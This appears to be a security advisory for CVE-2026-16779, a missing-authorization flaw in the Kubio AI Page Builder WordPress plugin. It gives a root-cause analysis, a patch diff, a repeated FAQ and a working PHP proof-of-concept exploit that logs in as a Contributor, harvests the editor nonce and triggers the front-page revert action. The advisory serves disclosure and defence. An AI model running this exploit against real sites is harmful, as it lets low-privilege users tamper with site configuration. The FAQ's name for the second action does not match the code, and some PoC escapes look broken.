What is CVE-2026-16779?

CVE-2026-16779 is a missing authorization vulnerability in the Kubio AI Page Builder plugin for WordPress, affecting versions up to and including 2.8.5. It allows authenticated users with Contributor-level access or above to revert front-page configurations, rewrite navigation menus, replace template parts, and overwrite the global-data post. The issue is fixed in version 2.8.6.

How does the vulnerability work?

The vulnerability is triggered via the AJAX action ‘kubio_restore_front_page’. The plugin fails to verify that the user has administrative capabilities, only checking a nonce. However, the nonce is exposed to all users who can access the block editor, making it harvestable by Contributors. An attacker can send a crafted request to admin-ajax.php to execute unauthorized actions.

Who is affected by this vulnerability?

WordPress sites running Kubio AI Page Builder version 2.8.5 or earlier are affected. The attack requires an authenticated user with at least Contributor role. Any site with such users, even if they are not trusted, is at risk.

How can I check if my site is vulnerable?

Check the Kubio plugin version in your WordPress admin under Plugins. If the version is 2.8.5 or lower, your site is vulnerable. You can also review your user roles to see if any Contributors exist.

What is the CVSS score and severity?

The vulnerability has a CVSS score of 4.3, which is considered Medium severity. This indicates moderate risk, primarily affecting the integrity and availability of the site’s front-end configuration, but not confidentiality.

What is the practical impact of this vulnerability?

An attacker can revert or alter the front-page settings, potentially displaying malicious content or phishing pages. They can also overwrite navigation menus and template parts, which could inject malicious scripts into the site, leading to stored XSS or a complete visual redesign.

How does the proof of concept (PoC) demonstrate the issue?

The PoC shows a Contributor logging in, obtaining the nonce from the editor page, and sending a POST request to the admin-ajax.php endpoint with the ‘kubio_restore_front_page’ action. This triggers the vulnerable function, demonstrating that a Contributor can revert front-page settings without admin privileges.

What is the root cause of the vulnerability?

The root cause is the lack of a capability check in the ‘onRestoreUserFrontPage()’ method. The plugin only uses a nonce check, which is insufficient because the nonce is exposed to all users who can access the block editor. The patch adds a check for the ‘manage_options’ capability.

How is the vulnerability fixed in version 2.8.6?

The patch adds a capability check in the vulnerable AJAX handlers, verifying that the current user is an administrator. It also restricts the nonce generation to administrators only, preventing Contributors from obtaining it. This dual-layer fix blocks the attack vector.

What should I do to mitigate the risk?

Update the Kubio plugin to version 2.8.6 or later as soon as possible. If you cannot update immediately, consider removing Contributor-level users or restricting their access to the block editor. Also, monitor your site for any unauthorized changes to front-page settings or menus.

Can this vulnerability be exploited remotely?

No, the attacker must have authenticated access to the WordPress site with at least Contributor role. They also need to be able to load the block editor to obtain the nonce. Remote unauthenticated attackers cannot exploit this directly.

Are there any other affected AJAX actions?

Yes, the ‘kubio_keep_front_page’ action (handled by ‘onKeepKubioFrontPage()’) is also vulnerable. Both actions are patched in version 2.8.6. Administrators should ensure they update to the latest version to cover all affected actions.

Published : August 16, 2026

CVE-2026-16779: Kubio AI Page Builder <= 2.8.5 Missing Authorization to Authenticated (Contributor+) Front-Page/Menu/Template Configuration Reversion via kubio_restore_front_page AJAX Action PoC, Patch Analysis & Rule

CVE ID CVE-2026-16779

Plugin kubio

Severity Medium (CVSS 4.3)

CWE 862

Vulnerable Version 2.8.5

Patched Version 2.8.6

Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-16779:

The Kubio AI Page Builder plugin for WordPress, versions up to and including 2.8.5, contains a missing authorization vulnerability. This flaw allows authenticated attackers with Contributor-level access to revert front-page configurations, rewrite navigation menus, replace template parts, and overwrite global-data. The vulnerability stems from the plugin’s failure to verify that the user initiating the AJAX action possesses the necessary administrative privileges, despite the presence of a nonce check. Atomic Edge research identifies the AJAX action ‘kubio_restore_front_page’ as the primary attack vector, with a CVSS score of 4.3.

The root cause lies in the ‘onRestoreUserFrontPage()’ method in the file ‘kubio/lib/src/Core/KubioFrontPageRevertNotice.php’. In vulnerable versions, this method (and its counterpart ‘onKeepKubioFrontPage()’) called ‘check_ajax_referer()’ to verify the nonce but did not verify the user’s capabilities. The patch adds a call to the new ‘Utils::getCurrentUserIsAdmin()’ method, which checks for the ‘manage_options’ capability. Critically, the AJAX handlers are registered for the ‘wp_ajax_’ action, meaning only authenticated users can trigger them, but no capability check restricted these actions to admins. The nonce itself was not a sufficient barrier because it was embedded in the ‘window.kubioUtilsData’ JavaScript object by the ‘editor-assets.php’ file (line 411) for every user who could load the block editor, making it harvestable by any Contributor.

Exploitation is straightforward. An authenticated attacker with a Contributor role can send a POST request to the WordPress admin-ajax endpoint (‘/wp-admin/admin-ajax.php’). The request must include the ‘action’ parameter set to ‘kubio_restore_front_page’. The attacker obtains the required nonce by loading the WordPress post editor and reading the ‘frontPageRevertNoticeNonce’ property from the global ‘window.kubioUtilsData’ object. The ‘kubio_restore_front_page’ action triggers ‘onRestoreUserFrontPage()’, which calls ‘restoreWebsiteFrontPage()’. This function restores a backup of front-page settings, effectively reverting the site’s configuration. By manipulating the backup data (likely stored in post meta or options), the attacker can overwrite critical options like ‘show_on_front’, ‘page_on_front’, and ‘page_for_posts’, or replace the entire front page and navigation menus with malicious content.

The patch implements a capability check directly within the vulnerable AJAX handler methods. Specifically, both ‘onKeepKubioFrontPage()’ and ‘onRestoreUserFrontPage()’ now begin by checking ‘if ( ! $this->getCurrentUserIsAdmin() ) { return; }’. This method, which was previously a simple inline check, is now a static utility function ‘Utils::getCurrentUserIsAdmin()’ that verifies both login status and the ‘manage_options’ capability. The patch also moves the nonce generation from ‘editor-assets.php’ into a new filter ‘kubio/kubio-utils-data/extras’ in ‘KubioFrontPageRevertNotice.php’, which only adds the ‘frontPageRevertNoticeNonce’ to the client-side data if the current user is an administrator. This dual-layer fix ensures that non-admins cannot obtain the nonce and, even if they do, the server-side capability check blocks the action.

The primary impact is unauthorized modification of the WordPress site’s front-end configuration. An attacker can revert or change the site’s front-page settings, potentially displaying malicious or phishing content. The vulnerability also allows for the overwriting of navigation menus and template parts, which could be used for client-side attacks on site visitors, such as injecting malicious JavaScript. The ability to overwrite the ‘kubio-global-data’ post could lead to stored cross-site scripting (XSS) or a complete compromise of the site’s visual design and content, undermining the integrity and availability of the site.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/kubio/build/block-library/blocks-manifest.php
+++ b/kubio/build/block-library/blocks-manifest.php
@@ -3,12 +3,6 @@
 /** Kubio - automatically generated file **/

 return array(
-	'button' => array(
-		'classes' => array(
-			'ButtonBlock'
-		),
-		'rel' => 'button/index.php'
-	),
 	'accordion' => array(
 		'classes' => array(
 			'AccordionBlock'
@@ -21,6 +15,12 @@
 		),
 		'rel' => 'button-group/index.php'
 	),
+	'button' => array(
+		'classes' => array(
+			'ButtonBlock'
+		),
+		'rel' => 'button/index.php'
+	),
 	'column' => array(
 		'classes' => array(
 			'ColumnBlock'
@@ -57,11 +57,11 @@
 		),
 		'rel' => 'header/index.php'
 	),
-	'icon' => array(
+	'heading' => array(
 		'classes' => array(
-			'IconBlock'
+			'HeadingBlock'
 		),
-		'rel' => 'icon/index.php'
+		'rel' => 'heading/index.php'
 	),
 	'home-button' => array(
 		'classes' => array(
@@ -69,11 +69,11 @@
 		),
 		'rel' => 'home-button/index.php'
 	),
-	'heading' => array(
+	'icon' => array(
 		'classes' => array(
-			'HeadingBlock'
+			'IconBlock'
 		),
-		'rel' => 'heading/index.php'
+		'rel' => 'icon/index.php'
 	),
 	'hero' => array(
 		'classes' => array(
@@ -81,12 +81,6 @@
 		),
 		'rel' => 'hero/index.php'
 	),
-	'image' => array(
-		'classes' => array(
-			'ImageBlock'
-		),
-		'rel' => 'image/index.php'
-	),
 	'image-gallery' => array(
 		'classes' => array(
 			'ImageGalleryBlock',
@@ -100,23 +94,23 @@
 		),
 		'rel' => 'language-selector/index.php'
 	),
-	'link-group' => array(
-		'classes' => array(
-			'LinkGroupBlock'
-		),
-		'rel' => 'link-group/index.php'
-	),
 	'link' => array(
 		'classes' => array(
 			'LinkBlock'
 		),
 		'rel' => 'link/index.php'
 	),
-	'logo' => array(
+	'image' => array(
 		'classes' => array(
-			'LogoBlock'
+			'ImageBlock'
 		),
-		'rel' => 'logo/index.php'
+		'rel' => 'image/index.php'
+	),
+	'link-group' => array(
+		'classes' => array(
+			'LinkGroupBlock'
+		),
+		'rel' => 'link-group/index.php'
 	),
 	'map' => array(
 		'classes' => array(
@@ -133,6 +127,12 @@
 		),
 		'rel' => 'navigation/index.php'
 	),
+	'logo' => array(
+		'classes' => array(
+			'LogoBlock'
+		),
+		'rel' => 'logo/index.php'
+	),
 	'pagination-nav-button' => array(
 		'classes' => array(
 			'PaginationNavButtonBlock'
@@ -145,12 +145,6 @@
 		),
 		'rel' => 'page-title/index.php'
 	),
-	'pagination-numbers' => array(
-		'classes' => array(
-			'PaginationNumbersBlock'
-		),
-		'rel' => 'pagination-numbers/index.php'
-	),
 	'post-author-avatar' => array(
 		'classes' => array(
 			'PostAuthorAvatarBlock'
@@ -163,23 +157,29 @@
 		),
 		'rel' => 'post-author-bio/index.php'
 	),
+	'pagination-numbers' => array(
+		'classes' => array(
+			'PaginationNumbersBlock'
+		),
+		'rel' => 'pagination-numbers/index.php'
+	),
 	'post-author-name' => array(
 		'classes' => array(
 			'PostAuthorNameBlock'
 		),
 		'rel' => 'post-author-name/index.php'
 	),
-	'post-comments' => array(
+	'post-categories' => array(
 		'classes' => array(
-			'PostCommentsBlock'
+			'PostCategoriesBlock'
 		),
-		'rel' => 'post-comments/index.php'
+		'rel' => 'post-categories/index.php'
 	),
-	'post-excerpt' => array(
+	'post-comments' => array(
 		'classes' => array(
-			'PostExcerptBlock'
+			'PostCommentsBlock'
 		),
-		'rel' => 'post-excerpt/index.php'
+		'rel' => 'post-comments/index.php'
 	),
 	'post-comments-form' => array(
 		'classes' => array(
@@ -187,6 +187,12 @@
 		),
 		'rel' => 'post-comments-form/index.php'
 	),
+	'post-excerpt' => array(
+		'classes' => array(
+			'PostExcerptBlock'
+		),
+		'rel' => 'post-excerpt/index.php'
+	),
 	'post-featured-image' => array(
 		'classes' => array(
 			'PostFeaturedImageBlock'
@@ -211,23 +217,17 @@
 		),
 		'rel' => 'post-title/index.php'
 	),
-	'query-layout' => array(
-		'classes' => array(
-			'QueryLayout'
-		),
-		'rel' => 'query-layout/index.php'
-	),
 	'query-pagination' => array(
 		'classes' => array(
 			'QueryPaginationBlock'
 		),
 		'rel' => 'query-pagination/index.php'
 	),
-	'post-categories' => array(
+	'query-layout' => array(
 		'classes' => array(
-			'PostCategoriesBlock'
+			'QueryLayout'
 		),
-		'rel' => 'post-categories/index.php'
+		'rel' => 'query-layout/index.php'
 	),
 	'read-more-button' => array(
 		'classes' => array(
@@ -235,12 +235,6 @@
 		),
 		'rel' => 'read-more-button/index.php'
 	),
-	'row' => array(
-		'classes' => array(
-			'RowBlock'
-		),
-		'rel' => 'row/index.php'
-	),
 	'search-form' => array(
 		'classes' => array(
 			'SearchForm'
@@ -253,6 +247,12 @@
 		),
 		'rel' => 'section/index.php'
 	),
+	'row' => array(
+		'classes' => array(
+			'RowBlock'
+		),
+		'rel' => 'row/index.php'
+	),
 	'shortcode' => array(
 		'classes' => array(
 			'ShortcodeBlock'
@@ -265,6 +265,12 @@
 		),
 		'rel' => 'sidebar/index.php'
 	),
+	'spacer' => array(
+		'classes' => array(
+			'SpacerBlock'
+		),
+		'rel' => 'spacer/index.php'
+	),
 	'social-icons' => array(
 		'classes' => array(
 			'SocialIconsBlock',
@@ -288,29 +294,29 @@
 		),
 		'rel' => 'text/index.php'
 	),
-	'spacer' => array(
-		'classes' => array(
-			'SpacerBlock'
-		),
-		'rel' => 'spacer/index.php'
-	),
 	'video' => array(
 		'classes' => array(
 			'VideoBlock'
 		),
 		'rel' => 'video/index.php'
 	),
+	'accordion-menu' => array(
+		'classes' => array(
+			'AccordionMenuBlock'
+		),
+		'rel' => 'menu/accordion-menu/index.php'
+	),
 	'widgets-area' => array(
 		'classes' => array(
 			'WidgetAreaBlock'
 		),
 		'rel' => 'widgets-area/index.php'
 	),
-	'dropdown-menu' => array(
+	'menu-items' => array(
 		'classes' => array(
-			'DropDownMenuBlock'
+			'MenuItemsBlock'
 		),
-		'rel' => 'menu/dropdown-menu/index.php'
+		'rel' => 'menu/menu-items/index.php'
 	),
 	'offscreen' => array(
 		'classes' => array(
@@ -318,11 +324,11 @@
 		),
 		'rel' => 'menu/offscreen/index.php'
 	),
-	'accordion-menu' => array(
+	'dropdown-menu' => array(
 		'classes' => array(
-			'AccordionMenuBlock'
+			'DropDownMenuBlock'
 		),
-		'rel' => 'menu/accordion-menu/index.php'
+		'rel' => 'menu/dropdown-menu/index.php'
 	),
 	'offscreen-content' => array(
 		'classes' => array(
@@ -336,11 +342,11 @@
 		),
 		'rel' => 'accordion/blocks/accordion-item/index.php'
 	),
-	'menu-items' => array(
+	'icon-list' => array(
 		'classes' => array(
-			'MenuItemsBlock'
+			'IconListBlock'
 		),
-		'rel' => 'menu/menu-items/index.php'
+		'rel' => 'icon-list/blocks/icon-list/index.php'
 	),
 	'down-arrow' => array(
 		'classes' => array(
@@ -348,12 +354,6 @@
 		),
 		'rel' => 'hero/blocks/down-arrow/index.php'
 	),
-	'icon-list' => array(
-		'classes' => array(
-			'IconListBlock'
-		),
-		'rel' => 'icon-list/blocks/icon-list/index.php'
-	),
 	'icon-list-item' => array(
 		'classes' => array(
 			'IconListItemBlock'
--- a/kubio/build/editor/index.asset.php
+++ b/kubio/build/editor/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('kubio-advanced-panel', 'kubio-ai', 'kubio-block-library', 'kubio-block-patterns', 'kubio-constants', 'kubio-controls', 'kubio-core', 'kubio-core-hooks', 'kubio-editor-data', 'kubio-global-data', 'kubio-icons', 'kubio-inspectors', 'kubio-log', 'kubio-menu-data', 'kubio-pro', 'kubio-style-manager', 'kubio-utils', 'kubio-wp-global-styles', 'lodash', 'react', 'react-dom', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-data-controls', 'wp-deprecated', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-url', 'wp-viewport', 'wp-widgets'), 'version' => '07e9e398a7820d149b23');
+<?php return array('dependencies' => array('kubio-advanced-panel', 'kubio-ai', 'kubio-block-library', 'kubio-block-patterns', 'kubio-constants', 'kubio-controls', 'kubio-core', 'kubio-core-hooks', 'kubio-editor-data', 'kubio-global-data', 'kubio-icons', 'kubio-inspectors', 'kubio-log', 'kubio-menu-data', 'kubio-pro', 'kubio-style-manager', 'kubio-utils', 'kubio-wp-global-styles', 'lodash', 'react', 'react-dom', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-data-controls', 'wp-deprecated', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-url', 'wp-viewport', 'wp-widgets'), 'version' => '02030a070f44c6535b0a');
--- a/kubio/build/third-party-blocks/manifest.php
+++ b/kubio/build/third-party-blocks/manifest.php
@@ -5,13 +5,13 @@
 return array(
 	'core/post-content/support.json',
 	'core/widgets/archives/support.json',
-	'core/widgets/latest-comments/support.json',
 	'core/widgets/categories/support.json',
 	'core/widgets/calendar/support.json',
+	'core/widgets/latest-comments/support.json',
 	'core/widgets/latest-posts/support.json',
-	'core/widgets/page-list/support.json',
-	'core/widgets/tag-cloud/support.json',
 	'core/widgets/search/support.json',
+	'core/widgets/rss/support.json',
 	'core/widgets/social-icons/support.json',
-	'core/widgets/rss/support.json'
+	'core/widgets/page-list/support.json',
+	'core/widgets/tag-cloud/support.json'
 );
--- a/kubio/lib/editor-assets.php
+++ b/kubio/lib/editor-assets.php
@@ -408,7 +408,6 @@
 						'aiWizardDescriptionOptional'    => Flags::getSetting( 'aiWizardDescriptionOptional', false ),
 						'showFrontPageRevertNotice'      => KubioFrontPageRevertNotice::getShowNoticeInEditor(),
 						'frontPageRevertBackupData'      => KubioFrontPageRevertNotice::getInstance()->getFrontPageBackupData(),
-						'frontPageRevertNoticeNonce'     => wp_create_nonce( KubioFrontPageRevertNotice::$nonceKey ),
 						'allow3rdPartyBlogOverride'      => apply_filters( 'kubio/allow_3rd_party_blog_override', true ),
 						'kubioRecommendationSettings'    => (object) kubio_get_recommendations_settings(),
 						'multilanguage'                  => array(
--- a/kubio/lib/src/Core/KubioFrontPageRevertNotice.php
+++ b/kubio/lib/src/Core/KubioFrontPageRevertNotice.php
@@ -24,9 +24,17 @@
         add_action('wp_ajax_kubio_front_page_revert_action', array($this, 'onKeepKubioFrontPage'));
         add_action('wp_ajax_kubio_restore_front_page', array($this, 'onRestoreUserFrontPage'));
         add_action('rest_api_init', array($this, 'initRestApi'));
+		add_filter('kubio/kubio-utils-data/extras', array($this, 'addKubioUtilsData'));
     }


+	public function addKubioUtilsData($data) {
+		if(!$this->getCurrentUserIsAdmin()) {
+			return $data;
+		}
+		$data['frontPageRevertNoticeNonce'] =wp_create_nonce( KubioFrontPageRevertNotice::$nonceKey );
+		return $data;
+	}

 	public function getFeatureIsEnabled() {
 		return apply_filters( 'kubio/front_page_revert_notice_is_enabled', false );
@@ -91,7 +99,7 @@

     public function getCurrentUserIsAdmin()
     {
-        return is_user_logged_in() && current_user_can('manage_options');
+        return Utils::getCurrentUserIsAdmin();
     }

     public function getShowNoticeKey()
@@ -142,6 +150,9 @@

     public function onKeepKubioFrontPage()
     {
+		if ( ! $this->getCurrentUserIsAdmin() ) {
+			return;
+		}
         check_ajax_referer(static::$nonceKey);
 		$this->cleanUpFlags();
         wp_send_json_success();
@@ -150,6 +161,9 @@

     public function onRestoreUserFrontPage()
     {
+		if ( ! $this->getCurrentUserIsAdmin() ) {
+			return;
+		}
         check_ajax_referer(static::$nonceKey);
         $this->updateShowNoticeFlag(false);
         $this->restoreWebsiteFrontPage();
--- a/kubio/lib/src/Core/Utils.php
+++ b/kubio/lib/src/Core/Utils.php
@@ -800,7 +800,10 @@

 		return false;
 	}
-
+	public static function getCurrentUserIsAdmin()
+	{
+		return is_user_logged_in() && current_user_can('manage_options');
+	}
 	public static function getThemeTemplateParts() {
 		$default_language = apply_filters( 'wpml_default_language', null );
 		$query            = new WP_Query(
--- a/kubio/plugin.php
+++ b/kubio/plugin.php
@@ -6,7 +6,7 @@
  * Description: Using the power of AI, Kubio gives you a head start by generating a first draft of your website, which you can further customize to your liking.
  * Author: ExtendThemes
  * Author URI: https://extendthemes.com
- * Version: 2.8.5
+ * Version: 2.8.6
  * License: GPL3+
  * License URI: https://www.gnu.org/licenses/gpl-2.0.txt
  * Text Domain: kubio
@@ -50,8 +50,8 @@
 	return;
 }

-define( 'KUBIO_VERSION', '2.8.5' );
-define( 'KUBIO_BUILD_NUMBER', '511' );
+define( 'KUBIO_VERSION', '2.8.6' );
+define( 'KUBIO_BUILD_NUMBER', '514' );

 define( 'KUBIO_ENTRY_FILE', __FILE__ );
 define( 'KUBIO_ROOT_DIR', plugin_dir_path( __FILE__ ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-16779 - Kubio AI Page Builder <= 2.8.5 - Missing Authorization to Authenticated (Contributor+) Front-Page/Menu/Template Configuration Reversion

$target_url = 'http://your-wordpress-site.com'; // Change this to your target
$wp_ajax_uri = '/wp-admin/admin-ajax.php';

// Step 1: Login as a Contributor (Replace with actual credentials)
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=contributor_username&pwd=contributor_password&wp-submit=Log+In');
curl_exec($ch);
curl_close($ch);

echo "[+] Logged in as contributor.n";

// Step 2: Get the nonce from the editor page
$editor_url = $target_url . '/wp-admin/post-new.php?post_type=page';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $editor_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$editor_html = curl_exec($ch);
curl_close($ch);

// Extract the nonce from window.kubioUtilsData
if (preg_match('/frontPageRevertNoticeNonce.{0,10}"([a-f0-9]+)s*/i', $editor_html, $matches)) {
    $nonce = $matches[1];
    echo "[+] Nonce obtained: $noncen";
} else {
    die("[-] Failed to retrieve nonce. Check if the editor loads correctly.n");
}

// Step 3: Trigger the AJAX action to restore the front page
$ajax_url = $target_url . $wp_ajax_uri;
$post_data = 'action=kubio_restore_front_page&_ajax_nonce=' . $nonce;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-Requested-With: XMLHttpRequest'));
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'success') !== false) {
    echo "[+] Exploit successful. Front page has been reverted/overwritten.n";
} else {
    echo "[-] Exploit failed. Response: " . $response . "n";
}

Frequently Asked Questions

What is CVE-2026-16779?
Vulnerability overview
CVE-2026-16779 is a missing authorization vulnerability in the Kubio AI Page Builder plugin for WordPress, affecting versions up to and including 2.8.5. It allows authenticated users with Contributor-level access or above to revert front-page configurations, rewrite navigation menus, replace template parts, and overwrite the global-data post. The issue is fixed in version 2.8.6.
How does the vulnerability work?
Attack mechanism
The vulnerability is triggered via the AJAX action ‘kubio_restore_front_page’. The plugin fails to verify that the user has administrative capabilities, only checking a nonce. However, the nonce is exposed to all users who can access the block editor, making it harvestable by Contributors. An attacker can send a crafted request to admin-ajax.php to execute unauthorized actions.
Who is affected by this vulnerability?
Affected users and roles
WordPress sites running Kubio AI Page Builder version 2.8.5 or earlier are affected. The attack requires an authenticated user with at least Contributor role. Any site with such users, even if they are not trusted, is at risk.
How can I check if my site is vulnerable?
Detection steps
Check the Kubio plugin version in your WordPress admin under Plugins. If the version is 2.8.5 or lower, your site is vulnerable. You can also review your user roles to see if any Contributors exist.
What is the CVSS score and severity?
Risk assessment
The vulnerability has a CVSS score of 4.3, which is considered Medium severity. This indicates moderate risk, primarily affecting the integrity and availability of the site’s front-end configuration, but not confidentiality.
What is the practical impact of this vulnerability?
Real-world consequences
An attacker can revert or alter the front-page settings, potentially displaying malicious content or phishing pages. They can also overwrite navigation menus and template parts, which could inject malicious scripts into the site, leading to stored XSS or a complete visual redesign.
How does the proof of concept (PoC) demonstrate the issue?
PoC explanation
The PoC shows a Contributor logging in, obtaining the nonce from the editor page, and sending a POST request to the admin-ajax.php endpoint with the ‘kubio_restore_front_page’ action. This triggers the vulnerable function, demonstrating that a Contributor can revert front-page settings without admin privileges.
What is the root cause of the vulnerability?
Technical cause
The root cause is the lack of a capability check in the ‘onRestoreUserFrontPage()’ method. The plugin only uses a nonce check, which is insufficient because the nonce is exposed to all users who can access the block editor. The patch adds a check for the ‘manage_options’ capability.
How is the vulnerability fixed in version 2.8.6?
Patch details
The patch adds a capability check in the vulnerable AJAX handlers, verifying that the current user is an administrator. It also restricts the nonce generation to administrators only, preventing Contributors from obtaining it. This dual-layer fix blocks the attack vector.
What should I do to mitigate the risk?
Immediate actions
Update the Kubio plugin to version 2.8.6 or later as soon as possible. If you cannot update immediately, consider removing Contributor-level users or restricting their access to the block editor. Also, monitor your site for any unauthorized changes to front-page settings or menus.
Can this vulnerability be exploited remotely?
Exploitation prerequisites
No, the attacker must have authenticated access to the WordPress site with at least Contributor role. They also need to be able to load the block editor to obtain the nonce. Remote unauthenticated attackers cannot exploit this directly.
Are there any other affected AJAX actions?
Related actions
Yes, the ‘kubio_keep_front_page’ action (handled by ‘onKeepKubioFrontPage()’) is also vulnerable. Both actions are patched in version 2.8.6. Administrators should ensure they update to the latest version to cover all affected actions.

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